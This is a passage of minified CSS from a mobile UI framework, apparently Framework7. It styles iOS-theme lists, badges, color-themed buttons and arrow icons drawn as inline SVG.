.block-header,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .list ul,.list.ios .theme-dark ul{background:#1c1c1d}.ios .theme-dark .list ul:before,.list.ios .theme-dark ul:before{background-color:#282829}.ios .theme-dark .list ul:after,.list.ios .theme-dark ul:after{background-color:#282829}.ios .theme-dark .list li li:last-child .item-inner:after,.ios .theme-dark .list li:last-child li .item-inner:after,.list.ios .theme-dark li li:last-child .item-inner:after,.list.ios .theme-dark li:last-child li .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider:before{background-color:#282829}.ios .theme-dark .list-group-title:before{background-color:#282829}.ios .theme-dark .list-button:after{background-color:#282829}.ios .theme-dark .item-inner:after{background-color:#282829}.ios .theme-dark .item-divider,.ios .theme-dark .list-group-title{background-color:#111}.ios .theme-dark .links-list a:after,.ios .theme-dark .simple-list li:after,.links-list.ios .theme-dark a .simple-list li:after,.simple-list.ios .theme-dark li:after{background-color:#282829}.ios .theme-dark .links-list a.active-state,.ios .theme-dark .list .item-link.active-state,.ios .theme-dark .list .list-button.active-state,.links-list.ios .theme-dark a.active-state,.list.ios .theme-dark .item-link.active-state,.list.ios .theme-dark .list-button.active-state{background-color:#363636}.ios .color-theme-red .list-button{color:#ff3b30}.ios .color-theme-green .list-button{color:#4cd964}.ios .color-theme-blue .list-button{color:#007aff}.ios .color-theme-pink .list-button{color:#ff2d55}.ios .color-theme-yellow .list-button{color:#fc0}.ios .color-theme-orange .list-button{color:#ff9500}.ios .color-theme-gray .list-button{color:#8e8e93}.ios .color-theme-white .list-button{color:#fff}.ios .color-theme-black .list-button{color:#000}.ios .links-list a.color-red,.ios .links-list li.color-red a,.ios .list .item-link.color-red,.ios .list .list-button.color-red,.ios .list li.color-red .item-link,.ios .list li.color-red .list-button,.ios .simple-list li.color-red{color:#ff3b30}.ios .links-list a.color-green,.ios .links-list li.color-green a,.ios .list .item-link.color-green,.ios .list .list-button.color-green,.ios .list li.color-green .item-link,.ios .list li.color-green .list-button,.ios .simple-list li.color-green{color:#4cd964}.ios .links-list a.color-blue,.ios .links-list li.color-blue a,.ios .list .item-link.color-blue,.ios .list .list-button.color-blue,.ios .list li.color-blue .item-link,.ios .list li.color-blue .list-button,.ios .simple-list li.color-blue{color:#007aff}.ios .links-list a.color-pink,.ios .links-list li.color-pink a,.ios .list .item-link.color-pink,.ios .list .list-button.color-pink,.ios .list li.color-pink .item-link,.ios .list li.color-pink .list-button,.ios .simple-list li.color-pink{color:#ff2d55}.ios .links-list a.color-yellow,.ios .links-list li.color-yellow a,.ios .list .item-link.color-yellow,.ios .list .list-button.color-yellow,.ios .list li.color-yellow .item-link,.ios .list li.color-yellow .list-button,.ios .simple-list li.color-yellow{color:#fc0}.ios .links-list a.color-orange,.ios .links-list li.color-orange a,.ios .list .item-link.color-orange,.ios .list .list-button.color-orange,.ios .list li.color-orange .item-link,.ios .list li.color-orange .list-button,.ios .simple-list li.color-orange{color:#ff9500}.ios .links-list a.color-gray,.ios .links-list li.color-gray a,.ios .list .item-link.color-gray,.ios .list .list-button.color-gray,.ios .list li.color-gray .item-link,.ios .list li.color-gray .list-button,.ios .simple-list li.color-gray{color:#8e8e93}.ios .links-list a.color-white,.ios .links-list li.color-white a,.ios .list .item-link.color-white,.ios .list .list-button.color-white,.ios .list li.color-white .item-link,.ios .list li.color-white .list-button,.ios .simple-list li.color-white{color:#fff}.ios .links-list a.color-black,.ios .links-list li.color-black a,.ios .list .item-link.color-black,.ios .list .list-button.color-black,.ios .list li.color-black .item-link,.ios .list li.color-black .list-button,.ios .simple-list li.color-black{color:#000}.badge{display:inline-block;color:#fff;background:#8e8e93;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center}.f7-icons .badge,.framework7-icons .badge,.icon .badge,.material-icons .badge{position:absolute;left:100%;margin-left:-10px;top:-2px}.ios .badge{font-size:13px;border-radius:20px;padding:0 6px;height:20px;line-height:20px}.item-after .ios .badge{min-width:20px}.ios .f7-icons .badge,.ios .framework7-icons .badge,.ios .icon .badge,.ios .material-icons .badge{line-height:16px;height:16px;border-radius:16px;padding:0 4px;min-width:16px;font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:10px}.ios .badge.color-red{background-color:#ff3b30}.ios .badge.color-green{background-color:#4cd964}.ios .badge.color-blue{background-color:#007aff}.ios .badge.color-pink{background-color:#ff2d55}.ios .badge.color-yellow{background-color:#fc0}.ios .badge.color-orange{background-color:#ff9500}.ios .badge.color-gray{background-color:#8e8e93}.ios .badge.color-white{background-color:#fff}.ios .badge.color-black{background-color:#000}button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle}input[type=button].button,input[type=submit].button{width:100%}button{width:100%}.segmented{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.segmented .button,.segmented button{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.subnavbar .segmented{width:100%}.ios .button{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px}.ios .button.active-state{background:rgba(0,122,255,.15)}.ios .button.button-round,.ios .button.button-round-ios{border-radius:29px}.ios .button.button-active,.ios .button.tab-link-active{background:#007aff;color:#fff}.ios .button.button-big,.ios .button.button-big-ios{font-size:17px;height:44px;line-height:42px}.ios .button.button-small,.ios .button.button-small-ios{height:26px;line-height:22px;border-width:2px;font-size:13px;font-weight:600;text-transform:uppercase;-webkit-transition-duration:.2s;transition-duration:.2s}.ios .button.button-small-ios.button-fill-ios.active-state,.ios .button.button-small-ios.button-fill.active-state,.ios .button.button-small.button-fill-ios.active-state,.ios .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent;opacity:1}.ios .button.button-fill,.ios .button.button-fill-ios{color:#fff;background:#007aff;border-color:transparent}.ios .button.button-fill-ios.active-state,.ios .button.button-fill.active-state{opacity:.8}.ios .button i.icon:first-child{margin-right:10px}.ios .button i.icon:last-child{margin-left:10px}.ios .button i.icon:first-child:last-child{margin-left:0;margin-right:0}.ios .segmented .button{border-radius:0;border-left-width:0}.ios .segmented .button:first-child{border-radius:5px 0 0 5px;border-left-width:1px;border-left-style:solid}.ios .segmented .button:first-child.button-small{border-left-width:2px}.ios .segmented .button:last-child{border-radius:0 5px 5px 0}.ios .segmented .button:first-child:last-child{border-radius:5px}.ios .segmented .button.button-round-ios:first-child,.ios .segmented .button.button-round:first-child{border-radius:29px 0 0 29px}.ios .segmented .button.button-round-ios:last-child,.ios .segmented .button.button-round:last-child{border-radius:0 29px 29px 0}.ios .color-theme-red .button{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .button.active-state{background:rgba(255,59,48,.15)}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios,.ios .color-theme-red .button.tab-link-active{color:#fff}.ios .color-theme-red .button.button-active,.ios .color-theme-red .button.tab-link-active{background:#ff3b30}.ios .color-theme-red .button.button-fill,.ios .color-theme-red .button.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-red .button.button-small-ios.button-fill.active-state,.ios .color-theme-red .button.button-small.button-fill-ios.active-state,.ios .color-theme-red .button.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .color-theme-green .button{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .button.active-state{background:rgba(76,217,100,.15)}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios,.ios .color-theme-green .button.tab-link-active{color:#fff}.ios .color-theme-green .button.button-active,.ios .color-theme-green .button.tab-link-active{background:#4cd964}.ios .color-theme-green .button.button-fill,.ios .color-theme-green .button.button-fill-ios{background:#4cd964;border-color:transparent}.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-green .button.button-small-ios.button-fill.active-state,.ios .color-theme-green .button.button-small.button-fill-ios.active-state,.ios .color-theme-green .button.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .color-theme-blue .button{border-color:#007aff;color:#007aff}.ios .color-theme-blue .button.active-state{background:rgba(0,122,255,.15)}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios,.ios .color-theme-blue .button.tab-link-active{color:#fff}.ios .color-theme-blue .button.button-active,.ios .color-theme-blue .button.tab-link-active{background:#007aff}.ios .color-theme-blue .button.button-fill,.ios .color-theme-blue .button.button-fill-ios{background:#007aff;border-color:transparent}.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small-ios.button-fill.active-state,.ios .color-theme-blue .button.button-small.button-fill-ios.active-state,.ios .color-theme-blue .button.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .color-theme-pink .button{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .button.active-state{background:rgba(255,45,85,.15)}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios,.ios .color-theme-pink .button.tab-link-active{color:#fff}.ios .color-theme-pink .button.button-active,.ios .color-theme-pink .button.tab-link-active{background:#ff2d55}.ios .color-theme-pink .button.button-fill,.ios .color-theme-pink .button.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small-ios.button-fill.active-state,.ios .color-theme-pink .button.button-small.button-fill-ios.active-state,.ios .color-theme-pink .button.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .color-theme-yellow .button{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .button.active-state{background:rgba(255,204,0,.15)}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios,.ios .color-theme-yellow .button.tab-link-active{color:#fff}.ios .color-theme-yellow .button.button-active,.ios .color-theme-yellow .button.tab-link-active{background:#fc0}.ios .color-theme-yellow .button.button-fill,.ios .color-theme-yellow .button.button-fill-ios{background:#fc0;border-color:transparent}.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state,.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state,.ios .color-theme-yellow .button.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .color-theme-orange .button{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .button.active-state{background:rgba(255,149,0,.15)}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios,.ios .color-theme-orange .button.tab-link-active{color:#fff}.ios .color-theme-orange .button.button-active,.ios .color-theme-orange .button.tab-link-active{background:#ff9500}.ios .color-theme-orange .button.button-fill,.ios .color-theme-orange .button.button-fill-ios{background:#ff9500;border-color:transparent}.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small-ios.button-fill.active-state,.ios .color-theme-orange .button.button-small.button-fill-ios.active-state,.ios .color-theme-orange .button.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .color-theme-gray .button{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .button.active-state{background:rgba(142,142,147,.15)}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios,.ios .color-theme-gray .button.tab-link-active{color:#fff}.ios .color-theme-gray .button.button-active,.ios .color-theme-gray .button.tab-link-active{background:#8e8e93}.ios .color-theme-gray .button.button-fill,.ios .color-theme-gray .button.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small-ios.button-fill.active-state,.ios .color-theme-gray .button.button-small.button-fill-ios.active-state,.ios .color-theme-gray .button.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .color-theme-white .button{border-color:#fff;color:#fff}.ios .color-theme-white .button.active-state{background:rgba(255,255,255,.15)}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios,.ios .color-theme-white .button.tab-link-active{color:#fff}.ios .color-theme-white .button.button-active,.ios .color-theme-white .button.tab-link-active{background:#fff}.ios .color-theme-white .button.button-fill,.ios .color-theme-white .button.button-fill-ios{background:#fff;border-color:transparent}.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-white .button.button-small-ios.button-fill.active-state,.ios .color-theme-white .button.button-small.button-fill-ios.active-state,.ios .color-theme-white .button.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .color-theme-black .button{border-color:#000;color:#000}.ios .color-theme-black .button.active-state{background:rgba(0,0,0,.15)}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios,.ios .color-theme-black .button.tab-link-active{color:#fff}.ios .color-theme-black .button.button-active,.ios .color-theme-black .button.tab-link-active{background:#000}.ios .color-theme-black .button.button-fill,.ios .color-theme-black .button.button-fill-ios{background:#000;border-color:transparent}.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state,.ios .color-theme-black .button.button-small-ios.button-fill.active-state,.ios .color-theme-black .button.button-small.button-fill-ios.active-state,.ios .color-theme-black .button.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}.ios .button.color-red{border-color:#ff3b30;color:#ff3b30}.ios .button.color-red.active-state{background:rgba(255,59,48,.15)}.ios .button.color-red.button-active,.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios,.ios .button.color-red.tab-link-active{color:#fff}.ios .button.color-red.button-active,.ios .button.color-red.tab-link-active{background:#ff3b30}.ios .button.color-red.button-fill,.ios .button.color-red.button-fill-ios{background:#ff3b30;border-color:transparent}.ios .button.color-red.button-small-ios.button-fill-ios.active-state,.ios .button.color-red.button-small-ios.button-fill.active-state,.ios .button.color-red.button-small.button-fill-ios.active-state,.ios .button.color-red.button-small.button-fill.active-state{color:#ff3b30;border:2px solid #ff3b30;background-color:transparent}.ios .button.color-green{border-color:#4cd964;color:#4cd964}.ios .button.color-green.active-state{background:rgba(76,217,100,.15)}.ios .button.color-green.button-active,.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios,.ios .button.color-green.tab-link-active{color:#fff}.ios .button.color-green.button-active,.ios .button.color-green.tab-link-active{background:#4cd964}.ios .button.color-green.button-fill,.ios .button.color-green.button-fill-ios{background:#4cd964;border-color:transparent}.ios .button.color-green.button-small-ios.button-fill-ios.active-state,.ios .button.color-green.button-small-ios.button-fill.active-state,.ios .button.color-green.button-small.button-fill-ios.active-state,.ios .button.color-green.button-small.button-fill.active-state{color:#4cd964;border:2px solid #4cd964;background-color:transparent}.ios .button.color-blue{border-color:#007aff;color:#007aff}.ios .button.color-blue.active-state{background:rgba(0,122,255,.15)}.ios .button.color-blue.button-active,.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios,.ios .button.color-blue.tab-link-active{color:#fff}.ios .button.color-blue.button-active,.ios .button.color-blue.tab-link-active{background:#007aff}.ios .button.color-blue.button-fill,.ios .button.color-blue.button-fill-ios{background:#007aff;border-color:transparent}.ios .button.color-blue.button-small-ios.button-fill-ios.active-state,.ios .button.color-blue.button-small-ios.button-fill.active-state,.ios .button.color-blue.button-small.button-fill-ios.active-state,.ios .button.color-blue.button-small.button-fill.active-state{color:#007aff;border:2px solid #007aff;background-color:transparent}.ios .button.color-pink{border-color:#ff2d55;color:#ff2d55}.ios .button.color-pink.active-state{background:rgba(255,45,85,.15)}.ios .button.color-pink.button-active,.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios,.ios .button.color-pink.tab-link-active{color:#fff}.ios .button.color-pink.button-active,.ios .button.color-pink.tab-link-active{background:#ff2d55}.ios .button.color-pink.button-fill,.ios .button.color-pink.button-fill-ios{background:#ff2d55;border-color:transparent}.ios .button.color-pink.button-small-ios.button-fill-ios.active-state,.ios .button.color-pink.button-small-ios.button-fill.active-state,.ios .button.color-pink.button-small.button-fill-ios.active-state,.ios .button.color-pink.button-small.button-fill.active-state{color:#ff2d55;border:2px solid #ff2d55;background-color:transparent}.ios .button.color-yellow{border-color:#fc0;color:#fc0}.ios .button.color-yellow.active-state{background:rgba(255,204,0,.15)}.ios .button.color-yellow.button-active,.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios,.ios .button.color-yellow.tab-link-active{color:#fff}.ios .button.color-yellow.button-active,.ios .button.color-yellow.tab-link-active{background:#fc0}.ios .button.color-yellow.button-fill,.ios .button.color-yellow.button-fill-ios{background:#fc0;border-color:transparent}.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state,.ios .button.color-yellow.button-small-ios.button-fill.active-state,.ios .button.color-yellow.button-small.button-fill-ios.active-state,.ios .button.color-yellow.button-small.button-fill.active-state{color:#fc0;border:2px solid #fc0;background-color:transparent}.ios .button.color-orange{border-color:#ff9500;color:#ff9500}.ios .button.color-orange.active-state{background:rgba(255,149,0,.15)}.ios .button.color-orange.button-active,.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios,.ios .button.color-orange.tab-link-active{color:#fff}.ios .button.color-orange.button-active,.ios .button.color-orange.tab-link-active{background:#ff9500}.ios .button.color-orange.button-fill,.ios .button.color-orange.button-fill-ios{background:#ff9500;border-color:transparent}.ios .button.color-orange.button-small-ios.button-fill-ios.active-state,.ios .button.color-orange.button-small-ios.button-fill.active-state,.ios .button.color-orange.button-small.button-fill-ios.active-state,.ios .button.color-orange.button-small.button-fill.active-state{color:#ff9500;border:2px solid #ff9500;background-color:transparent}.ios .button.color-gray{border-color:#8e8e93;color:#8e8e93}.ios .button.color-gray.active-state{background:rgba(142,142,147,.15)}.ios .button.color-gray.button-active,.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios,.ios .button.color-gray.tab-link-active{color:#fff}.ios .button.color-gray.button-active,.ios .button.color-gray.tab-link-active{background:#8e8e93}.ios .button.color-gray.button-fill,.ios .button.color-gray.button-fill-ios{background:#8e8e93;border-color:transparent}.ios .button.color-gray.button-small-ios.button-fill-ios.active-state,.ios .button.color-gray.button-small-ios.button-fill.active-state,.ios .button.color-gray.button-small.button-fill-ios.active-state,.ios .button.color-gray.button-small.button-fill.active-state{color:#8e8e93;border:2px solid #8e8e93;background-color:transparent}.ios .button.color-white{border-color:#fff;color:#fff}.ios .button.color-white.active-state{background:rgba(255,255,255,.15)}.ios .button.color-white.button-active,.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios,.ios .button.color-white.tab-link-active{color:#fff}.ios .button.color-white.button-active,.ios .button.color-white.tab-link-active{background:#fff}.ios .button.color-white.button-fill,.ios .button.color-white.button-fill-ios{background:#fff;border-color:transparent}.ios .button.color-white.button-small-ios.button-fill-ios.active-state,.ios .button.color-white.button-small-ios.button-fill.active-state,.ios .button.color-white.button-small.button-fill-ios.active-state,.ios .button.color-white.button-small.button-fill.active-state{color:#fff;border:2px solid #fff;background-color:transparent}.ios .button.color-black{border-color:#000;color:#000}.ios .button.color-black.active-state{background:rgba(0,0,0,.15)}.ios .button.color-black.button-active,.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios,.ios .button.color-black.tab-link-active{color:#fff}.ios .button.color-black.button-active,.ios .button.color-black.tab-link-active{background:#000}.ios .button.color-black.button-fill,.ios .button.color-black.button-fill-ios{background:#000;border-color:transparent}.ios .button.color-black.button-small-ios.button-fill-ios.active-state,.ios .button.color-black.button-small-ios.button-fill.active-state,.ios .button.color-black.button-small.button-fill-ios.active-state,.ios .button.color-black.button-small.button-fill.active-state{color:#000;border:2px solid #000;background-color:transparent}i.icon{display:inline-block;vertical-align:middle;background-size:100% auto;background-position:center;background-repeat:no-repeat;font-style:normal;position:relative}.ios .icon-back,.ios .icon-prev{width:12px;height:20px}.ios .icon-forward,.ios .icon-next{width:12px;height:20px}.ios .icon-next,.ios .icon-prev{width:10px}.ios .icon-back,.ios .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .icon-forward,.ios .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .navbar .f7-icons,.ios .toolbar .f7-icons{font-size:22px}.ios .tabbar .f7-icons,.ios .tabbar-labels .f7-icons{font-size:25px}.ios .item-media .f7-icons{font-size:25px;width:29px;height:29px}.ios .button .f7-icons{font-size:22px}.ios .item-media .icon{color:grey}.ios .color-theme-red .icon-back,.ios .color-theme-red .icon-prev,.ios .icon-back.color-red,.ios .icon-prev.color-red,.ios a.link.color-red .icon-back,.ios a.link.color-red .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .icon-forward,.ios .color-theme-red .icon-next,.ios .icon-forward.color-red,.ios .icon-next.color-red,.ios a.link.color-red .icon-forward,.ios a.link.color-red .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-back,.ios .color-theme-green .icon-prev,.ios .icon-back.color-green,.ios .icon-prev.color-green,.ios a.link.color-green .icon-back,.ios a.link.color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .icon-forward,.ios .color-theme-green .icon-next,.ios .icon-forward.color-green,.ios .icon-next.color-green,.ios a.link.color-green .icon-forward,.ios a.link.color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-back,.ios .color-theme-blue .icon-prev,.ios .icon-back.color-blue,.ios .icon-prev.color-blue,.ios a.link.color-blue .icon-back,.ios a.link.color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .icon-forward,.ios .color-theme-blue .icon-next,.ios .icon-forward.color-blue,.ios .icon-next.color-blue,.ios a.link.color-blue .icon-forward,.ios a.link.color-blue 